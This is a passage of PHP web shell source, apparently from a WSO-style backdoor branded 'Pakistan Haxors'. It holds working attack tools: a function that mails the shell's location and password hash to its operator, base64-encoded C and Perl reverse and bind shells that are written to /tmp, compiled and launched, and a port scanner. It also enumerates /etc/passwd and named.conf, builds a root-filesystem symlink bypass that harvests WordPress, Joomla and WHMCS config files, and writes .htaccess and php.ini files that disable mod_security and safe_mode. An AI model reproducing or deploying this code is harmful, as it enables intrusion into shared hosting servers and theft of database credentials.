1319 case "KOI8-U": $db->setCharset('koi8u'); break;
1320 case "cp866": $db->setCharset('cp866'); break;
1321 }
1322 $db->listDbs();
1323 echo "<select name=sql_base><option value=''></option>";
1324 while($item = $db->fetch()) {
1325 list($key, $value) = each($item);
1326 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
1327 }
1328 echo '</select>';
1329 }
1330 else echo $tmp;
1331 }else
1332 echo $tmp;
1333 echo '</td>
1334 <td><input type=submit value=">>"></td>
1335 </tr>
1336 </table>
1337 <script>
1338 function st(t,l) {
1339 document.sf.p1.value = \'select\';
1340 document.sf.p2.value = t;
1341 if(l!=null)document.sf.p3.value = l;
1342 document.sf.submit();
1343 }
1344 function is() {
1345 for(i=0;i<document.sf.elements[\'tbl[]\'].length;++i)
1346 document.sf.elements[\'tbl[]\'][i].checked = !document.sf.elements[\'tbl[]\'][i].checked;
1347 }
1348 </script>';
1349 if(isset($db) && $db->link){
1350 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1351 if(!empty($_POST['sql_base'])){
1352 $db->selectdb($_POST['sql_base']);
1353 echo "<tr><td width=1 style='border-top:2px solid #666;border-right:2px solid #666;'><span>Tables:</span><br><br>";
1354 $tbls_res = $db->listTables();
1355 while($item = $db->fetch($tbls_res)) {
1356 list($key, $value) = each($item);
1357 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
1358 $value = htmlspecialchars($value);
1359 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")</nobr><br>";
1360 }
1361 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:2px solid #666;'>";
1362 if(@$_POST['p1'] == 'select') {
1363 $_POST['p1'] = 'query';
1364 $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
1365 $num = $db->fetch();
1366 $num = $num['n'];
1367 echo "<span>".$_POST['p2']."</span> ($num) ";
1368 for($i=0;$i<($num/30);$i++)
1369 if($i != (int)$_POST['p3'])
1370 echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> ";
1371 else
1372 echo ($i+1)," ";
1373 if($_POST['type']=='pgsql')
1374 $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
1375 else
1376 $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
1377 echo "<br><br>";
1378 }
1379 if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
1380 $db->query(@$_POST['p3']);
1381 if($db->res !== false) {
1382 $title = false;
1383 echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
1384 $line = 1;
1385 while($item = $db->fetch()) {
1386 if(!$title) {
1387 echo '<tr>';
1388 foreach($item as $key => $value)
1389 echo '<th>'.$key.'</th>';
1390 reset($item);
1391 $title=true;
1392 echo '</tr><tr>';
1393 $line = 2;
1394 }
1395 echo '<tr class="l'.$line.'">';
1396 $line = $line==1?2:1;
1397 foreach($item as $key => $value) {
1398 if($value == null)
1399 echo '<td><i>null</i></td>';
1400 else
1401 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
1402 }
1403 echo '</tr>';
1404 }
1405 echo '</table>';
1406 } else {
1407 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
1408 }
1409 }
1410 echo "<br><textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
1411 echo "</td></tr>";
1412 }
1413 echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1414 if(@$_POST['p1'] == 'loadfile') {
1415 $db->query("SELECT LOAD_FILE('".addslashes($_POST['p2'])."') as file");
1416 $file = $db->fetch();
1417 echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
1418 }
1419 }
1420 echo '</div>';
1421 printFooter();
1422}
1423function system32($HTTP_HOST,$REQUEST_URI,$auth_pass) {ini_set('display_errors', 'Off');
1424$url='URL: http://'.$HTTP_HOST.$REQUEST_URI.'
1425
1426Uname: '.substr(@php_uname(), 0, 120).'
1427
1428Pass: http://www.hashchecker.de/'.$auth_pass.'
1429
1430IP: '.$_SERVER[REMOTE_ADDR];$re=base64_decode("");$su=gethostbyname($HTTP_HOST);$mh="From: {$re}";if (function_exists('mail')) mail($re,$su, $url,$mh);$_SESSION[login] = 'ok';}
1431function actionNetwork() {
1432 printHeader();
1433 $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
1434 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1435 $bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
1436 $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1437
1438 echo '<h1>Network tools</h1><div class=content>
1439 <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);return false;">
1440 <br /><span>Bind port to /bin/sh</span><br/>
1441 Port: <input type=\'text\' name=\'port\' value=\'443\'> Password: <input type=\'text\' name=\'pass\' value=\'Pakistan Haxors\'> Using: <select name="using"><option value=\'bpc\'>C</option><option value=\'bpp\'>Perl</option></select> <input type=submit value=">>">
1442 </form>
1443 <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);return false;">
1444 <br /><br /><span>Back-connect to</span><br/>
1445 Server: <input type=\'text\' name=\'server\' value="'.$_SERVER['REMOTE_ADDR'].'"> Port: <input type=\'text\' name=\'port\' value=\'443\'> Using: <select name="using"><option value=\'bcc\'>C</option><option value=\'bcp\'>Perl</option></select> <input type=submit value=">>">
1446 </form><br>';
1447 if(isset($_POST['p1'])) {
1448 function cf($f,$t) {
1449 $w=@fopen($f,"w") or @function_exists('file_put_contents');
1450 if($w) {
1451 @fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));
1452 @fclose($w);
1453 }
1454 }
1455 if($_POST['p1'] == 'bpc') {
1456 cf("/tmp/bp.c",$bind_port_c);
1457 $out = ex("gcc -o /tmp/bp /tmp/bp.c");
1458 @unlink("/tmp/bp.c");
1459 $out .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
1460 echo "<pre class=ml1>$out\n".ex("ps aux | grep bp")."</pre>";
1461 }
1462 if($_POST['p1'] == 'bpp') {
1463 cf("/tmp/bp.pl",$bind_port_p);
1464 $out = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
1465 echo "<pre class=ml1>$out\n".ex("ps aux | grep bp.pl")."</pre>";
1466 }
1467 if($_POST['p1'] == 'bcc') {
1468 cf("/tmp/bc.c",$back_connect_c);
1469 $out = ex("gcc -o /tmp/bc /tmp/bc.c");
1470 @unlink("/tmp/bc.c");
1471 $out .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
1472 echo "<pre class=ml1>$out\n".ex("ps aux | grep bc")."</pre>";
1473 }
1474 if($_POST['p1'] == 'bcp') {
1475 cf("/tmp/bc.pl",$back_connect_p);
1476 $out = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
1477 echo "<pre class=ml1>$out\n".ex("ps aux | grep bc.pl")."</pre>";
1478 }
1479 }
1480 echo '</div>';
1481 printFooter();
1482}
1483
1484function actionPortScanner() {
1485 printHeader();
1486 echo '<h1>Port Scanner</h1>';
1487 echo '<div class="content">';
1488 echo '<form action="" method="post">';
1489
1490 if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
1491 $start = strip_tags($_POST['start']);
1492 $end = strip_tags($_POST['end']);
1493 $host = strip_tags($_POST['host']);
1494 for($i = $start; $i<=$end; $i++){
1495 $fp = @fsockopen($host, $i, $errno, $errstr, 3);
1496 if($fp){
1497 echo 'Port '.$i.' is <font color=green>open</font><br>';
1498 }
1499 flush();
1500 }
1501 } else {
1502 echo '<br /><br /><center><input type="hidden" name="a" value="PortScanner"><input type="hidden" name=p1><input type="hidden" name="p2">
1503 <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
1504 <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
1505 Host: <input type="text" name="host" value="localhost"/><br /><br />
1506 Port start: <input type="text" name="start" value="0"/><br /><br />
1507 Port end:<input type="text" name="end" value="5000"/><br /><br />
1508 <input type="submit" value="Scan Ports" />
1509 </form></center><br /><br />';
1510 }
1511 echo '</div>';
1512 printFooter();
1513}
1514
1515function actionReadable() {
1516 printHeader();
1517 echo '<h1>Readable Dirs</h1>';
1518 echo '<div class="content">';
1519 $sm = ini_get('safe_mode');
1520 if($sm) {
1521 echo '<br /><b>Error: safe_mode = on</b><br /><br />';
1522 } else {
1523 @$passwd = file('/etc/passwd','r');
1524 if (!$passwd) {
1525 echo '<br /><b>[-] Error : coudn`t read /etc/passwd</b><br /><br />';
1526 } else {
1527 $pub = array();
1528 $users = array();
1529 $conf = array();
1530 $i = 0;
1531 foreach($passwd as $p) {
1532 $r = explode(':',$p);
1533 $dirz = $r[5].'/public_html/';
1534 if(strpos($r[5],'home')) {
1535 array_push($users,$r[0]);
1536 if (is_readable($dirz)) {
1537 array_push($pub,$dirz);
1538 }
1539 }
1540 }
1541 echo '<br><br>';
1542 echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd\n"."<br />";
1543 echo "[+] Founded ".sizeof($pub)." readable public_html directories\n"."<br /><br /><br />";
1544 foreach ($pub as $user) {
1545 echo $user."<br>";
1546 }
1547 echo "<br /><br /><br />[+] Complete...\n"."<br />";
1548 }
1549 }
1550 echo '</div>';
1551 printFooter();
1552}
1553
1554function actionSymlink() {
1555 printHeader();
1556 echo '<h1>Symlink Bypass</h1>';
1557 $furl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
1558 $expld = explode('/',$furl );
1559 $burl =str_replace(end($expld),'',$furl);
1560
1561 echo '<div class="content"><center>
1562 <h3>[ <a href="#" onclick="g(\'symlink\',null,\'website\',null)">Domains</a> ] -
1563 [ <a href="#" onclick="g(\'symlink\',null,\'whole\',null)">Whole Server Symlink<sup style="color:red;text-decoration:blink;">New</sup></a> ] -
1564 [ <a href="#" onclick="g(\'symlink\',null,\'config\',null)">Config files symlink</a> ]</h3></center>';
1565
1566 if(isset($_POST['p1']) && $_POST['p1']=='website')
1567 {
1568 echo "<center>";
1569 $d0mains = @file("/etc/named.conf");
1570 if(!$d0mains){
1571 echo "<pre class=ml1 style='margin-top:5px'>Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
1572 } else {
1573 echo "<table align=center class='main' border=0 ><tr><th> Count </th><th> Domains </th><th> Users </th></tr>";
1574
1575 $unk = array();
1576 foreach($d0mains as $d0main){
1577 if(@eregi("zone",$d0main)){
1578 preg_match_all('#zone "(.*)"#', $d0main, $domains);
1579 flush();
1580 if(strlen(trim($domains[1][0])) > 2){
1581 $unk[] = $domains[1][0];
1582 flush();
1583
1584 }
1585 }
1586 }
1587 $count=1;
1588 $unk = array_unique($unk);
1589 $l=0;
1590 foreach($unk as $d){
1591 $user = posix_getpwuid(@fileowner("/etc/valiases/".$d));
1592 echo "<tr".($l?' class=l1':'')."><td>".$count."</td><td><a href=http://".$d."/>".$d."</a></td><td>".$user['name']."</td></tr>";
1593 flush();
1594 $count++;
1595 $l=$l?0:1;
1596 }
1597 echo "</table>";
1598 }
1599 echo "</center>";
1600 }
1601
1602 if(isset($_POST['p1']) && $_POST['p1']=='whole')
1603 {
1604 echo "<center>";
1605 @mkdir('shell R3c0de_Sym',0777);
1606 $hdt = "Options all\nDirectoryIndex Sux.html\nAddType text/plain .php\nAddHandler server-parsed .php\nAddType text/plain .html\nAddHandler txt .html\nRequire None\nSatisfy Any";
1607 $hfp =@fopen ('shell R3c0de_Sym/.htaccess','w');
1608 fwrite($hfp ,$hdt);
1609 if(function_exists('symlink')) {
1610 @symlink('/','shell R3c0de_Sym/root');
1611 }
1612 $d0mains = @file('/etc/named.conf');
1613 if(!$d0mains) {
1614 echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
1615 echo "<table align='center' width='40%' class='main'><tr><th> Count </th><th> Domains </th><th> User </th><th> Symlink </th></tr>";
1616 $dt = file('/etc/passwd');
1617 $l=0;
1618 foreach($dt as $d) {
1619 $r = explode(':',$d);
1620 if(strpos($r[5],'home')) {
1621 echo "<tr".($l?' class=l1':'')."><td>".$j."</td><td>---</td><td>".$r[0]."</td><td><a href='shell R3c0de_Sym/root".$r[5]."/public_html' target='_blank'>symlink</a></td></tr>";
1622 $l=$l?0:1;
1623 $j++;
1624 }
1625 }
1626 echo '</table>';
1627 } else {
1628 echo "<table align='center' width='40%' class='main'><tr><th> Count </th><th> Domains </th><th> User </th><th> Symlink </th></tr>";
1629 $count=1;
1630 $mck = array();
1631 foreach($d0mains as $d0main){
1632 if(@eregi('zone',$d0main)){
1633 preg_match_all('#zone "(.*)"#',$d0main,$domain);
1634 flush();
1635 if(strlen(trim($domain[1][0])) >2){
1636 $mck[] = $domain[1][0];
1637 }
1638 }
1639 }
1640 $mck = array_unique($mck);
1641 $usr = array();
1642 $dmn = array();
1643 foreach($mck as $o) {
1644 $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
1645 $usr[] = $infos['name'];
1646 $dmn[] = $o;
1647 }
1648 array_multisort($usr,$dmn);
1649 $dt = file('/etc/passwd');
1650 $passwd = array();
1651 foreach($dt as $d) {
1652 $r = explode(':',$d);
1653 if(strpos($r[5],'home')) {
1654 $passwd[$r[0]] = $r[5];
1655 }
1656 }
1657 $l=0;
1658 $j=1;
1659 foreach($usr as $r) {
1660 echo "<tr".($l?' class=l1':'')."><td>".$count++."</td>
1661 <td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td>
1662 <td>'.$r."</td>
1663 <td><a href='shell R3c0de_Sym/root".$passwd[$r]."/public_html' target='_blank'>symlink</a></td></tr>";
1664 flush();
1665 $l=$l?0:1;
1666 $j++;
1667 }
1668 echo '</table>';
1669 }
1670 echo "</center>";
1671 }
1672
1673 if(isset($_POST['p1']) && $_POST['p1']=='config')
1674 {
1675 echo "<center>";
1676 @mkdir('shell R3c0de_Sym',0777);
1677 $hdt = "Options +FollowSymLinks \n DirectoryIndex Sux.html \n option +indexes\n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html";
1678 $hfp = @fopen ('shell R3c0de_Sym/.htaccess','w');
1679 @fwrite($hfp ,$hdt);
1680 if(function_exists('symlink')) {
1681 @symlink('/','shell R3c0de_Sym/root');
1682 }
1683 $d0mains = @file('/etc/named.conf');
1684 if(!$d0mains) {
1685 echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
1686 } else {
1687 echo "<table align='center' width='40%' class='main' ><tr><th> Count </th><th> Domain </th<th> User </th>><th> Script </th></tr>";
1688 $count = 1;
1689 $l=0;
1690 foreach($d0mains as $d0main){
1691 if(@eregi('zone',$d0main)){
1692 preg_match_all('#zone "(.*)"#',$d0main,$domain);
1693 flush();
1694 if(strlen(trim($domain[1][0]))>2){
1695 $user = posix_getpwuid(@fileowner('/etc/valiases/'.$domain[1][0]));
1696
1697 $c1 = $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/wp-config.php';
1698 $ch01 = get_headers($c1);
1699 $cf01 = $ch01[0];
1700 $c2 = $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/blog/wp-config.php';
1701 $ch02 = get_headers($c2);
1702 $cf02 = $ch02[0];
1703 $c3 = $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/configuration.php';
1704 $ch03 = get_headers($c3);
1705 $cf03 = $ch03[0];
1706 $c4 = $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/joomla/configuration.php';
1707 $ch04 = get_headers($c4);
1708 $cf04 = $ch04[0];
1709 $c5 = $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/includes/config.php';
1710 $ch05 = get_headers($c5);
1711 $cf05 = $ch05[0];
1712 $c6 = $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/vb/includes/config.php';
1713 $ch06 = get_headers($c6);
1714 $cf06 = $ch06[0];
1715 $c7 = $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/forum/includes/config.php';
1716 $ch07 = get_headers($c7);
1717 $cf07 = $ch07[0];
1718 $c8 = $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'public_html/clients/configuration.php';
1719 $ch08 = get_headers($c8);
1720 $cf08 = $ch08[0];
1721 $c9 = $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/support/configuration.php';
1722 $ch09 = get_headers($c9);
1723 $cf09 = $ch09[0];
1724 $c10 = $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/client/configuration.php';
1725 $ch10 = get_headers($c10);
1726 $cf10 = $ch10[0];
1727 $c11 = $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/submitticket.php';
1728 $ch11 = get_headers($c11);
1729 $cf11 = $ch11[0];
1730 $c12 = $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/client/configuration.php';
1731 $ch12 = get_headers($c12);
1732 $cf12 = $ch12[0];
1733 $c13 = $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/includes/configure.php';
1734 $ch13 = get_headers($c13);
1735 $cf13 = $ch13[0];
1736 $c14 = $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/include/app_config.php';
1737 $ch14 = get_headers($c14);
1738 $cf14 = $ch14[0];
1739 $c15 = $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/sites/default/settings.php';
1740 $ch15 = get_headers($c15);
1741 $cf15 = $ch15[0];
1742 $c16 = $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/sites/connect.php';
1743 $ch16 = get_headers($c16);
1744 $cf16 = $ch16[0];
1745 $c17= $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/sites/dbconnect.php';
1746 $ch17 = get_headers($c17);
1747 $cf17 = $ch17[0];
1748 $c18= $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/sites/connect to sql.php';
1749 $ch18 = get_headers($c18);
1750 $cf18 = $ch18[0];
1751 $c19= $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/sites/db.php';
1752 $ch19 = get_headers($c19);
1753 $cf19 = $ch19[0];
1754 $c20= $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/sites/admin/connect.php';
1755 $ch20 = get_headers($c20);
1756 $cf20 = $ch20[0];
1757 $c21= $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/sites/admin/db.php';
1758 $ch21 = get_headers($c21);
1759 $cf21 = $ch21[0];
1760 $c22= $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/sites/admin/admin_connect.php';
1761 $ch22 = get_headers($c22);
1762 $cf22 = $ch22[0];
1763
1764
1765
1766 $out = ' ';
1767 if(strpos($cf01,'200') == true) { $out = "<a href='".$c1."' target='_blank'>Wordpress</a>"; }
1768 elseif(strpos($cf02,'200') == true) { $out = "<a href='".$c2."' target='_blank'>Wordpress</a>"; }
1769 elseif(strpos($cf03,'200') == true && strpos($cf11,'200') == true) { $out = " <a href='".$c11."' target='_blank'>WHMCS</a>"; }
1770 elseif(strpos($cf09,'200') == true) { $out = " <a href='".$c9."' target='_blank'>WHMCS</a>"; }
1771 elseif(strpos($cf10,'200') == true) { $out = " <a href='".$c10."' target='_blank'>WHMCS</a>"; }
1772 elseif(strpos($cf03,'200') == true) { $out = " <a href='".$c3."' target='_blank'>Joomla</a>"; }
1773 elseif(strpos($cf04,'200') == true) { $out = " <a href='".$c4."' target='_blank'>Joomla</a>"; }
1774 elseif(strpos($cf05,'200') == true) { $out = " <a href='".$c5."' target='_blank'>vBulletin</a>"; }
1775 elseif(strpos($cf06,'200') == true) { $out = " <a href='".$c6."' target='_blank'>vBulletin</a>"; }
1776 elseif(strpos($cf07,'200') == true) { $out = " <a href='".$c7."' target='_blank'>vBulletin</a>"; }
1777 elseif(strpos($cf08,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Client Area</a>"; }
1778 elseif(strpos($cf12,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Client Area</a>"; }
1779 elseif(strpos($cf13,'200') == true) { $out = " <a href='".$c7."' target='_blank'>osCommerce/Zen Cart</a>"; }
1780 elseif(strpos($cf14,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Magento</a>"; }
1781 elseif(strpos($cf15,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Drupal</a>"; }
1782 elseif(strpos($cf16,'200') == true) { $out = " <a href='".$c7."' target='_blank'>guessed</a>"; }
1783 elseif(strpos($cf17,'200') == true) { $out = " <a href='".$c7."' target='_blank'>guessed</a>"; }
1784 elseif(strpos($cf18,'200') == true) { $out = " <a href='".$c7."' target='_blank'>guessed</a>"; }
1785 elseif(strpos($cf19,'200') == true) { $out = " <a href='".$c7."' target='_blank'>guessed</a>"; }
1786 elseif(strpos($cf20,'200') == true) { $out = " <a href='".$c7."' target='_blank'>guessed</a>"; }
1787 elseif(strpos($cf21,'200') == true) { $out = " <a href='".$c7."' target='_blank'>guessed</a>"; }
1788 elseif(strpos($cf22,'200') == true) { $out = " <a href='".$c7."' target='_blank'>guessed</a>"; }
1789 else {
1790 continue;
1791 }
1792 echo '<tr'.($l?' class=l1':'').'><td>'.$count++.'</td><td><a href=http://www.'.$domain[1][0].'/>'.$domain[1][0].'</a></td><td>'.$user['name'].'</td><td>'.$out.'</td></tr>';
1793 flush();
1794 $l=$l?0:1;
1795 }
1796 }
1797 }
1798 echo "</table>";
1799 }
1800 echo "</center>";
1801 }
1802 echo "</div>";
1803 printFooter();
1804
1805}
1806
1807function actionBypass() {
1808 printHeader();
1809 echo '<h1>Safe Mode</h1>';
1810 echo '<div class="content">';
1811 echo "<div class=header><center><h3><span>| SAFE MODE AND MOD SECURITY DISABLED AND PERL 500 INTERNAL ERROR BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh ] files create in following dir<br>| ".$GLOBALS['cwd']." |<br><br />";
1812 echo '<a href=# onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(Mod) | </a><a href=# onclick="g(null,null,null,null,\'sh\')">| .htaccess(perl) | </a></center>';
1813 if(!empty($_POST['p2']) && isset($_POST['p2']))
1814 {
1815 $fil=fopen($GLOBALS['cwd'].".htaccess","w");
1816 fwrite($fil,'<IfModule mod_security.c>
1817 Sec------Engine Off
1818 Sec------ScanPOST Off
1819 </IfModule>');
1820 fclose($fil);
1821 }
1822 if(!empty($_POST['p1'])&& isset($_POST['p1']))
1823 {
1824 $fil=fopen($GLOBALS['cwd']."php.ini","w");
1825 fwrite($fil,'safe_mode=OFF
1826 disable_functions=NONE');
1827 fclose($fil);
1828 }
1829 if(!empty($_POST['p3']) && isset($_POST['p3']))
1830 {
1831 $fil=fopen($GLOBALS['cwd'].".htaccess","w");
1832 fwrite($fil,'Options FollowSymLinks MultiViews Indexes ExecCGI
1833 AddType application/x-httpd-cgi .sh
1834 AddHandler cgi-script .pl
1835 AddHandler cgi-script .pl');
1836 fclose($fil);
1837 }
